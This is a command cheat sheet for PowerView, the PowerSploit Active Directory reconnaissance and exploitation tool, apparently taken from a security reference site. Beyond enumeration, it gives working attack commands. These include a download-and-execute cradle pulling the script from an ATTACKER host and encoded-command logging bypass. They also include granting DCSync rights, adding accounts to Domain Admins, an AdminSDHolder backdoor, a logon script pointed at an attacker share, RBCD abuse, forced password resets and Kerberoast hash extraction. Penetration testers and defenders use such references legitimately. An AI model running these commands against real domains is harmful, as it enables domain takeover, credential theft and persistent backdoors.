ᛉ Yggdrasil

Tool references

PowerView Wiki

17 Sep 2026 · 5,928 words · 27 min

Contents

Author: @harmj0y (Will Schroeder)
Part of: PowerSploit — https://github.com/PowerShellMafia/PowerSploit
Most up-to-date version (dev branch): https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
SharpView (.NET port): https://github.com/tevora-threat/SharpView
HarmJ0y's tips gist: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993


Overview

PowerView is a pure-PowerShell tool for Windows domain reconnaissance and exploitation. It provides replacements for net * commands, custom user-hunting functions, ACL enumeration and manipulation, trust mapping, and much more — all operating over LDAP and Win32 API calls.

Key capabilities:

  • Full AD object enumeration: users, groups, computers, OUs, GPOs, trusts
  • ACL/ACE enumeration and abuse (GenericAll, WriteDACL, WriteOwner, ResetPassword, DCSync, etc.)
  • User hunting (find where privileged users are logged in)
  • Local admin access discovery
  • Kerberoasting and ASREPRoasting
  • Domain trust and forest trust mapping
  • Object creation, modification, and backdooring
  • Alternate credential support for every function

Setup & Loading

# Method 1: Import as module from disk
Import-Module .\PowerView.ps1
Import-Module C:\Tools\PowerView.ps1

# Method 2: Dot-source (loads all functions into current session)
. .\PowerView.ps1

# Method 3: Load in memory from web (bypasses disk write — avoid if AMSI is active)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')

# Method 4: Bypass execution policy first
powershell -ExecutionPolicy Bypass -File PowerView.ps1
Set-ExecutionPolicy Bypass -Scope Process -Force

# Method 5: Encode and run (bypass logging)
$code = Get-Content PowerView.ps1 -Raw
$bytes = [System.Text.Encoding]::Unicode.GetBytes($code)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

# Verify it loaded
Get-Command -Module PowerView
Get-Help Get-DomainUser

# Export output to CSV (thread-safe built-in helper)
Get-DomainUser | Export-PowerViewCSV -Path .\users.csv

# Save PowerView objects for later (avoids re-running long queries)
Get-DomainUser | Export-Clixml user.xml
$Users = Import-Clixml user.xml

Note: Always use the dev branch of PowerSploit for the most up-to-date PowerView. The master branch is older (PowerView 2.0-era). Function names differ — the dev branch uses Get-Domain* / Find-Domain* naming.


Function Naming Convention

PowerView 3.0 uses a consistent naming schema:

Prefix Transport Description
Get-Domain* LDAP / .NET Raw LDAP-based enumeration
Find-Domain* LDAP + Win32 Higher-level searches combining LDAP and net calls
Get-Net* Win32 API Uses underlying Win32 API (NetAPI32, etc.)
Get-WMI* WMI Uses WMI queries
Add-Domain* LDAP write Creates objects or adds ACEs
Set-Domain* LDAP write Modifies existing objects
Invoke-* Various Catch-all for complex operations

Alternate Credentials & Impersonation

Almost every PowerView function accepts a -Credential parameter. This allows running any command as a different user.

# ── Build a credential object ──────────────────────────────────────────────
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPassword)

# Use -Credential with any function
Get-DomainUser -Credential $Cred
Get-DomainComputer -Credential $Cred -Domain other.domain.local
Find-DomainUserLocation -Credential $Cred

# ── Impersonate a credential token (runas /netonly equivalent) ─────────────
# Only works in single-threaded apartment (STA) mode
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)

Invoke-UserImpersonation -Credential $Cred
# ... run PowerView commands here as dfm.a ...
Invoke-RevertToSelf   # revert back to original token

# ── Add/Remove a remote drive connection ───────────────────────────────────
Add-RemoteConnection -ComputerName server.domain.local -Credential $Cred
Remove-RemoteConnection -ComputerName server.domain.local

# ── Connect to a different domain ──────────────────────────────────────────
Get-DomainUser -Domain other.domain.local -Credential $Cred

# ── Use alternate search base ──────────────────────────────────────────────
Get-DomainUser -SearchBase "LDAP://OU=Finance,DC=domain,DC=local"
Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG"   # query global catalog

Domain & Forest Enumeration

# ── Basic Domain Info ──────────────────────────────────────────────────────
Get-Domain                          # get current domain object
Get-Domain -Domain other.domain.local   # specific domain
Get-NetDomain                       # alias for Get-Domain
Get-DomainSID                       # get current domain SID

# ── Domain Controllers ─────────────────────────────────────────────────────
Get-DomainController                # list DCs for current domain
Get-DomainController -Domain other.domain.local
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl
Get-NetDomainController             # alias using Win32

# ── Domain Policy ──────────────────────────────────────────────────────────
Get-DomainPolicy                    # get domain policy object
(Get-DomainPolicy).KerberosPolicy   # Kerberos settings (MaxTicketAge, MaxRenewAge, etc.)
(Get-DomainPolicy).SystemAccess     # password policy (length, complexity, age)
(Get-DomainPolicy).PrivilegeRights  # user rights assignments
Get-DomainPolicyData                # same as Get-DomainPolicy

# Get DC-specific policy
$DCPolicy = Get-DomainPolicy -Policy DC
$DCPolicy.PrivilegeRights           # rights assigned on the DC itself

# Get specific domain's policy
(Get-DomainPolicy -Domain domain.local).KerberosPolicy
(Get-DomainPolicy -Domain domain.local).SystemAccess

# ── Forest Info ────────────────────────────────────────────────────────────
Get-Forest                          # current forest object
Get-Forest -Forest other.forest.com
Get-ForestDomain                    # all domains in current forest
Get-ForestDomain -Forest other.forest.com
Get-ForestGlobalCatalog             # all global catalogs in current forest
Get-ForestGlobalCatalog -Forest other.forest.com
Get-NetForestDomain                 # alias

# Convert short computer names to FQDNs using a GC
gc computers.txt | % {
    Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" `
    -LDAP "(name=$_)" -Properties dnshostname
}

# ── DNS Enumeration ────────────────────────────────────────────────────────
Get-DomainDNSZone                   # enumerate AD-integrated DNS zones
Get-DomainDNSZone -Domain domain.local
Get-DomainDNSRecord -ZoneName domain.local  # all records in a zone
Get-DomainDNSRecord -ZoneName domain.local -RecordName dc01  # specific record

User Enumeration

# ── Basic User Queries ─────────────────────────────────────────────────────
Get-DomainUser                      # all users with most properties
Get-NetUser                         # alias (same underlying function)
Get-DomainUser -Identity john.doe   # specific user (SID, DN, samaccountname, GUID accepted)
Get-DomainUser -Properties name, samaccountname, description, pwdlastset, logoncount, badpwdcount
Get-DomainUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount

# Multiple identity types work on any *-Domain* function
'S-1-5-21-...-1114','CN=dfm,CN=Users,DC=testlab,DC=local',
'4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' |
    Get-DomainUser -Properties samaccountname,lastlogoff

# ── UAC Filters ────────────────────────────────────────────────────────────
# Enabled users
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)"

# Disabled users
Get-DomainUser -UACFilter ACCOUNTDISABLE
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"

# Smart card required
Get-DomainUser -UACFilter SMARTCARD_REQUIRED
# Smart card NOT required
Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname

# Password not required (PASSWD_NOTREQD — may have blank or short passwords)
Get-DomainUser -UACFilter PASSWD_NOTREQD | select samaccountname,useraccountcontrol

# Password never expires
Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD | select samaccountname

# ── Kerberos Attack Targets ─────────────────────────────────────────────────
# Kerberoastable users (have SPN set)
Get-DomainUser -SPN
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
Get-NetUser -SPN | select serviceprincipalname

# ASREPRoastable users (no pre-auth required)
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
Get-NetUser -PreauthNotRequired

# Service accounts that are also Domain Admins
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}

# ── Special User Searches ───────────────────────────────────────────────────
# Users with sidHistory set (potential domain migration / persistence)
Get-DomainUser -LDAPFilter '(sidHistory=*)'

# Users with reversible encryption (password stored in cleartext-equivalent)
Get-DomainUser -Identity * | ? {
    $_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'
} | select samaccountname,useraccountcontrol

# Users with passwords set in the userPassword attribute (cleartext)
$FormatEnumerationLimit=-1
Get-DomainUser -LDAPFilter '(userPassword=*)' `
    -Properties samaccountname,memberof,userPassword | % {
    Add-Member -InputObject $_ NoteProperty 'Password' `
        "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru
} | fl

# Users with passwords changed > 1 year ago
$Date = (Get-Date).AddYears(-1).ToFileTime()
Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" `
    -Properties samaccountname,pwdlastset

# Users with description field set (often contains passwords)
Get-DomainUser -Properties name, description | ? {$_.description -ne $null}
Get-NetUser -properties name, description

# Search a specific field for a keyword
Find-UserField -SearchField Description -SearchTerm "password"
Find-UserField -SearchField Description -SearchTerm "admin"
Find-UserField -SearchField Description -SearchTerm "built"

# Find privileged users not marked as sensitive/not for delegation
Get-DomainUser -AllowDelegation -AdminCount

# Users with constrained delegation set (TrustedToAuth)
Get-DomainUser -TrustedToAuth | select userprincipalname,name,msds-allowedtodelegateto

# Get a user's PAC / token group memberships
Get-DomainUser -LDAPFilter "(samaccountname=john)"

# ── Enumerate User Events ──────────────────────────────────────────────────
# Account logon events (ID 4624) on a remote machine
Get-DomainUserEvent -ComputerName dc01.domain.local
Get-DomainUserEvent -ComputerName dc01.domain.local -StartTime ((Get-Date).AddDays(-3))

# ── User Property Outliers ─────────────────────────────────────────────────
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier

Group Enumeration

# ── Basic Group Queries ─────────────────────────────────────────────────────
Get-DomainGroup                     # all domain groups
Get-NetGroup                        # alias
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroup -Domain other.domain.local
Get-DomainGroup | select samaccountname, admincount, description | fl
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName

# Admin groups (AdminCount=1)
Get-DomainGroup -AdminCount | select name,memberof,admincount,member | fl
Get-NetGroup -AdminCount

# Groups by scope
Get-DomainGroup -GroupScope NotGlobal -Properties name  # DomainLocal, Universal, etc.
Get-DomainGroup -GroupScope DomainLocal -Properties name

# ── Group Members ──────────────────────────────────────────────────────────
# Get members of a group (recursive — follows nested groups)
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-NetGroupMember -Identity "Administrators" -Recurse
Get-NetGroupMember -Identity "Enterprise Admins" -Domain rootdomain.local

# Get groups a user is a member of (recurse UP via tokenGroups)
Get-DomainGroup -MemberIdentity john.doe
Get-DomainGroup -MemberIdentity "S-1-5-21-...-1114"
Get-NetGroup -UserName john.doe

# Find machine accounts ($) in privileged groups
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}

# ── Restricted / GPO Groups ────────────────────────────────────────────────
Get-NetGPOGroup                     # groups set via Restricted Groups / GPP

# ── Local Groups (on remote machines) ─────────────────────────────────────
Get-NetLocalGroup -ComputerName SERVER.domain.local  # list local groups
Get-NetLocalGroupMember -ComputerName SERVER.domain.local  # members of Administrators
Get-NetLocalGroupMember -ComputerName SERVER.domain.local -GroupName "Remote Desktop Users"
Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local  # faster (Win32 API)
Get-NetLocalGroupMember -ComputerName dcorp-dc.dollarcorp.moneycorp.local

# ── Foreign / Cross-Domain Group Members ──────────────────────────────────
Get-DomainForeignGroupMember                  # users from other domains in local groups
Get-DomainForeignGroupMember -Domain forest.root.local
Get-DomainForeignUser                         # users with privileges in other forest domains

# ── Linked DA Accounts (name correlation) ─────────────────────────────────
# Find admin accounts linked to a normal user by display name correlation
Get-DomainGroupMember 'Domain Admins' | %{
    Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'
} | %{
    $a=$_.displayname.split(' ')[0..1] -join ' '
    Get-DomainUser -LDAPFilter "(displayname=*$a*)" `
        -Properties displayname,samaccountname
}

Computer Enumeration

# ── Basic Computer Queries ─────────────────────────────────────────────────
Get-DomainComputer                  # all computer objects
Get-NetComputer                     # alias
Get-DomainComputer -Properties DnsHostName   # just DNS hostnames
Get-DomainComputer -Properties samaccountname, operatingsystem
Get-DomainComputer -Ping            # send ping to each found computer

# Filter by OS
Get-DomainComputer | ? {$_.operatingsystem -match "Windows 10"}
Get-DomainComputer | ? {$_.operatingsystem -match "Server 2019"}

# ── Delegation-Related Computer Searches ───────────────────────────────────
# Unconstrained delegation computers (DC always appears here)
Get-DomainComputer -Unconstrained
Get-NetComputer -Unconstrained | select samaccountname

# Constrained delegation computers (TrustedToAuth)
Get-DomainComputer -TrustedToAuth
Get-NetComputer -TrustedToAuth | select samaccountname

# Computers with LAPS deployed
Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd

# ── Search by OU ───────────────────────────────────────────────────────────
Get-DomainComputer -SearchBase "ldap://OU=Servers,DC=domain,DC=local"
Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG"  # query global catalog

# Get all computers in a specific OU using the OU object
Get-DomainOU "Servers" | %{
    Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name
}
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}

# Get logged-on users for all computers in any *server* OU
Get-DomainOU -Identity *server* -Domain domain.local | %{
    Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{
        Get-NetLoggedOn -ComputerName $_
    }
}

# ── Architecture Detection ─────────────────────────────────────────────────
Get-DomainComputer -Properties samaccountname | %{
    # Uses an unauthenticated trick to detect x86/x64
    Get-WMIRegDword -ComputerName $_.samaccountname `
        -Hive HKLM -Key "SYSTEM\CurrentControlSet\Control\Session Manager\Environment" `
        -Value PROCESSOR_ARCHITECTURE
}

Organizational Units (OUs)

Get-DomainOU                        # all OUs
Get-NetOU                           # alias
Get-DomainOU -Properties Name | sort -Property Name  # just names
Get-DomainOU -Identity "Servers"    # specific OU

# Get all computers inside an OU
Get-DomainOU "Servers" | %{
    Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name
}

# Retrieve the DNS names of computers where a specific GPP applies
Get-DomainOU -GPLink '<GPP_GUID>' | % {
    Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname
}

# Get all GPOs applied to an OU
Get-DomainOU -Identity "Workstations" | %{$_.gplink}

Group Policy Objects (GPOs)

# ── Basic GPO Enumeration ──────────────────────────────────────────────────
Get-DomainGPO                       # all GPOs
Get-NetGPO                          # alias
Get-DomainGPO | select displayname  # just names
Get-DomainGPO | select displayName  # check names for interesting data
Get-DomainGPO -ComputerIdentity windows1.testlab.local   # GPOs applied to a specific computer
Get-DomainGPO -ComputerName <servername>   # GPOs applied to a host
gpresult /V                         # current effective policy (built-in)

# Convert GPO GUID to display name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532

# ── GPO Permissions & Control ─────────────────────────────────────────────
# Who can create new GPOs?
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" `
    -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } |
    select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Find GPOs where low-priv users (RID > 1000) have write control
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? {
    ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')
} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl

# Get permissions a specific user/group has over GPOs
$sid = Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

# ── GPO → Group Mappings ──────────────────────────────────────────────────
# Returns all GPOs that set local group memberships (Restricted Groups / GPP)
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType

# Find machines where a specific user/group is local admin via GPO
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators |
    select ObjectName, GPODisplayName, ContainerName, ComputerName

# Get machines where a specific user has local admin via GPO
Get-DomainGPOUserLocalGroupMapping -Identity john.doe
Get-DomainGPOUserLocalGroupMapping -Identity john.doe -LocalGroup Administrators

# Get machines where a user has RDP access via GPO
Get-DomainGPOUserLocalGroupMapping -Identity john.doe -Domain domain.local -LocalGroup RDP

# Export all GPO mappings to CSV
Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} |
    Export-CSV -NoTypeInformation gpo_map.csv

ACL Enumeration

ACLs in AD define who has what permissions over each object.

# ── Basic ACL Queries ──────────────────────────────────────────────────────
# Get all ACEs for an object (raw — GUIDs not resolved)
Get-DomainObjectAcl -Identity john.doe
Get-ObjectAcl -SamAccountName john.doe

# Resolve GUIDs to human-readable right names (always use this)
Get-DomainObjectAcl -Identity john.doe -ResolveGUIDs
Get-ObjectAcl -SamAccountName john.doe -ResolveGUIDs

# Get ACLs for a specific DN
Get-DomainObjectAcl -Identity "CN=john,CN=Users,DC=domain,DC=local" -ResolveGUIDs

# Search across all objects for ACEs a specific principal has
$sid = Convert-NameToSid john.doe
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

# Find all objects our current user has rights over
$CurrentSID = (Get-DomainUser -Identity $env:USERNAME).objectsid
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {
    $_.SecurityIdentifier -eq $CurrentSID
}

# ── Targeted ACL Enumeration (by SID) ─────────────────────────────────────
$sid = Convert-NameToSid "helpdesk_user"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {
    $_.SecurityIdentifier -eq $sid
} | select ObjectDN, ActiveDirectoryRights, ObjectAceType, SecurityIdentifier

# ── Find Interesting / Exploitable ACLs ───────────────────────────────────
# Scan entire domain for interesting ACEs (slow on large domains)
Find-InterestingDomainAcl -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

# Filter to ACEs held by a specific user/group
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReference -match "RDPUsers"}
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceName -match "john.doe"}

# ── AdminSDHolder ──────────────────────────────────────────────────────────
# Check who has rights on AdminSDHolder (permissions replicated to all protected accounts)
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs

# List all users protected by AdminSDHolder (AdminCount=1)
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' |
    %{ $_.SecurityIdentifier } | Convert-SidToName

# ── DCSync Rights ─────────────────────────────────────────────────────────
# Find users/groups that can perform DCSync (GetChanges + GetChangesAll)
Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
    ($_.ObjectType -match 'replication-get') -or
    ($_.ActiveDirectoryRights -match 'GenericAll')
}

# Alternate form
Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? {
    ($_.ActiveDirectoryRights -match 'GenericAll') -or
    ($_.ObjectAceType -match 'Replication-Get')
}

# ── ACLs on File Shares / Paths ────────────────────────────────────────────
Get-PathAcl -Path "\\dc.domain.local\sysvol"
Get-PathAcl -Path "\\FILESERVER\Share"

# ── Special ACL Rights Quick Reference ────────────────────────────────────
# GenericAll    → Full control over the object
# GenericWrite  → Write to all non-protected attributes
# WriteDACL     → Modify the DACL (can grant any rights)
# WriteOwner    → Change the object owner (then modify DACL as owner)
# AllExtendedRights → Can reset password, DCSync, etc.
# ForceChangePassword → Can reset password without knowing current password
# WriteProperty → Write to specific attributes
# Self          → Self-membership rights (e.g., add self to group)

ACL Abuse & Object Modification

# ── Grant Yourself Rights ──────────────────────────────────────────────────
# Grant full control on a user object to your account
Add-DomainObjectAcl -TargetIdentity john.doe -PrincipalIdentity attacker -Rights All -Verbose

# Grant password reset rights
Add-DomainObjectAcl -TargetIdentity john.doe -PrincipalIdentity attacker `
    -Rights ResetPassword -Verbose

# Grant group membership write rights
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker `
    -Rights WriteMembers -Verbose

# Grant DCSync rights on the domain
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity attacker `
    -Rights DCSync -Verbose
# Also works as:
Add-DomainObjectAcl -TargetIdentity $(Get-DomainSID) -PrincipalIdentity attacker `
    -Rights DCSync -Verbose

# ── AdminSDHolder Backdoor ─────────────────────────────────────────────────
# Any rights added to AdminSDHolder propagate to ALL protected accounts (DA, EA, etc.)
# SDProp runs every 60 minutes by default
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' `
    -PrincipalIdentity backdoor_user -Rights All

# ── Modify Object Owner ────────────────────────────────────────────────────
# Set the owner of an object to yourself (requires WriteOwner)
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity attacker -Verbose
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y

# ── Modify Object Attributes ──────────────────────────────────────────────
# Set an attribute value
Set-DomainObject -Identity targetUser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
Set-DomainObject -Identity targetUser -Set @{'scriptpath'='\\ATTACKER\malicious.ps1'}

# Add SPN to user (for targeted Kerberoasting)
Set-DomainObject -Identity targetUser -Set @{servicePrincipalName='fake/spn.domain.local'}

# Force disable Kerberos pre-auth (for ASREPRoasting)
Set-DomainObject -Identity targetUser -XOR @{useraccountcontrol=4194304} -Verbose

# ── Reset / Change User Password ──────────────────────────────────────────
# Reset password (requires ResetPassword / ForceChangePassword / GenericAll)
Set-DomainUserPassword -Identity targetUser `
    -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force) -Verbose

# ── Add User to Group ──────────────────────────────────────────────────────
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker -Verbose
Add-NetGroupUser -Username attacker -GroupName 'Domain Admins' -Domain domain.local

# Remove user from group
Remove-DomainGroupMember -Identity "Domain Admins" -Members attacker -Verbose

# ── Create New Users ──────────────────────────────────────────────────────
# Create a new domain user
New-DomainUser -SamAccountName eviluser -AccountPassword (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)

# ── RBCD Abuse via PowerView ──────────────────────────────────────────────
# Get SID of attacker-controlled machine account
$ComputerSid = Get-DomainComputer EVILPC$ -Properties objectsid | Select -Expand objectsid

# Build raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
    -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Write RBCD on the target (requires GenericWrite on target computer)
Get-DomainComputer TargetMachine | Set-DomainObject `
    -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Session & Logon Hunting

# ── Active Sessions on Remote Hosts ───────────────────────────────────────
# Get active SMB sessions on a host
Get-NetSession -ComputerName SERVER.domain.local   # uses NetSessionEnum

# Get users logged on via net logon (requires admin on target)
Get-NetLoggedon -ComputerName SERVER.domain.local

# Get locally logged-on users (requires remote registry — default on servers)
Get-LoggedOnLocal -ComputerName SERVER.domain.local

# Get last logged-on user (requires admin rights on target)
Get-LastLoggedon -ComputerName SERVER.domain.local

# Get active RDP sessions (requires admin rights on target)
Get-NetRDPSession -ComputerName SERVER.domain.local

# ── Enumerate Sessions Across Many Hosts ──────────────────────────────────
# Get logged-on users for all computers in *server* OUs
Get-DomainOU -Identity *server* -Domain domain.local | %{
    Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{
        Get-NetLoggedOn -ComputerName $_
    }
}

Local Admin Hunting

# ── Find Where You Have Local Admin ───────────────────────────────────────
# Tests every computer for local admin access (very noisy — uses net sessions)
Find-LocalAdminAccess
Find-LocalAdminAccess -Verbose     # shows progress per host
Find-LocalAdminAccess -Credential $Cred  # alternate creds

# Alternative (WMI-based — useful when RPC/SMB is blocked on ports)
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt

# Test admin access on a specific machine
Test-AdminAccess -ComputerName SERVER.domain.local

# ── Find Privileged Users' Sessions ───────────────────────────────────────
# Hunt for Domain Admin sessions across all machines (very noisy)
# Get-NetSession/Get-NetLoggedon on each host
Find-DomainUserLocation                        # hunt for DA users
Find-DomainUserLocation -CheckAccess          # also check local admin on session host
Find-DomainUserLocation | select UserName, SessionFromName
Invoke-UserHunter                              # alias
Invoke-UserHunter -CheckAccess

# Hunt for a specific group's members
Invoke-UserHunter -GroupName "RDPUsers"
Find-DomainUserLocation -UserGroupIdentity "RDPUsers"

# Stealth mode — only query high-traffic servers (DC, File servers, DFS)
Invoke-UserHunter -Stealth
Find-DomainUserLocation -Stealth

# Hunt on unconstrained delegation computers
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

# Hunt for admin users on unconstrained delegation computers
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

# ── Enumerate Local Admins Across Domain ──────────────────────────────────
# Enumerate all local admin members on all domain computers
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember                    # enumerate local admins via GPO data

# Get machines where a specific user/group is local admin (via GPO)
Get-DomainGPOUserLocalGroupMapping -Identity john.doe

# ── Admin Count ────────────────────────────────────────────────────────────
# Users with AdminCount=1 (current or former protected group members)
Get-DomainUser -AdminCount | select samaccountname
Get-DomainGroup -AdminCount | select name

Share Enumeration

# ── Find File Servers ─────────────────────────────────────────────────────
Get-NetFileServer                   # find file servers (users tend to log in here)

# ── Find Accessible Shares ────────────────────────────────────────────────
# Enumerate all shares visible from domain and check read access
Find-DomainShare -CheckShareAccess

# ── Find Interesting Files ────────────────────────────────────────────────
# Search readable shares for interesting files
Find-InterestingDomainShareFile
Find-InterestingDomainShareFile -Include "*.config","*.xml","*.ps1"
Find-InterestingDomainShareFile -Keywords "password","creds","secret"

# With alternate credentials
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential

DNS Enumeration

# Get all AD-integrated DNS zones
Get-DomainDNSZone
Get-DomainDNSZone -Domain domain.local

# Get all DNS records in a zone
Get-DomainDNSRecord -ZoneName domain.local

# Get a specific record
Get-DomainDNSRecord -ZoneName domain.local -RecordName dc01

Domain Trust Enumeration

# ── Domain Trusts ─────────────────────────────────────────────────────────
Get-DomainTrust                     # all trusts for current domain
Get-NetDomainTrust                  # alias
Get-DomainTrust -Domain other.domain.local
Get-DomainTrustMapping              # enumerate all trusts recursively
Get-NetForestDomain | Get-NetDomainTrust  # trusts of all domains in forest

# Search via Global Catalog
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

# ── Forest Trusts ─────────────────────────────────────────────────────────
Get-ForestTrust                     # forest-level trusts
Get-NetForestTrust                  # alias
Get-ForestTrust -Forest other.forest.com

# ── Cross-Domain / Forest Members ─────────────────────────────────────────
Get-DomainForeignGroupMember                  # groups with cross-domain members
Get-DomainForeignGroupMember -Domain target.domain.local
Get-DomainForeignUser                         # users with rights in other forest domains

# ── Check for TREAT_AS_EXTERNAL (SID filtering disabled) ─────────────────
# If you see TREAT_AS_EXTERNAL — can abuse forest trust like a domain trust
Get-DomainTrust | ? {$_.TrustAttributes -match 'TREAT_AS_EXTERNAL'}

# ── Enumerate Foreign Memberships ─────────────────────────────────────────
# Query GC for foreignSecurityPrincipals and enumerate their domain local group memberships
$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname `
    -SearchBase "GC://testlab.local" `
    -LDAPFilter '(objectclass=foreignSecurityPrincipal)' |
    ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} |
    Select-Object -ExpandProperty distinguishedname

$Domains = @{}
$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) {
    $ForeignUserDomain = $ForeignUser.SubString(
        $ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
    if (-not $Domains[$ForeignUserDomain]) {
        $Domains[$ForeignUserDomain] = $True
        $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))"
        Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal `
            -LDAPFilter $Filter -Properties distinguishedname,member
    }
}
$ForeignMemberships | fl

Kerberos Attacks

Kerberoasting

# ── Enumerate Kerberoastable Users ────────────────────────────────────────
Get-DomainUser -SPN                             # find users with SPNs
Get-DomainUser -SPN | select samaccountname, serviceprincipalname

# Export kerberoastable users to CSV
Get-NetUser -Domain domain.local | Where-Object {$_.servicePrincipalName} |
    select name, samaccountname, serviceprincipalname |
    Export-CSV -NoTypeInformation kerberoastable.csv

# ── Request TGS Hashes (Kerberoast) ───────────────────────────────────────
# Kerberoast all SPNs (output compatible with JtR and Hashcat)
Invoke-Kerberoast
Invoke-Kerberoast | fl

# Kerberoast a specific user
Invoke-Kerberoast -Identity websvc
Invoke-Kerberoast -Identity svc_sql | fl

# Output in Hashcat format (default)
Invoke-Kerberoast -OutputFormat Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash

# Save hashes to file
Invoke-Kerberoast | Select-Object -ExpandProperty Hash | Out-File -FilePath hashes.txt

# Kerberoast users in a specific OU
Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"

# Request a single TGS ticket for a specific SPN
Get-DomainSPNTicket -SPN "MSSQLSvc/dbserver.domain.local:1433"
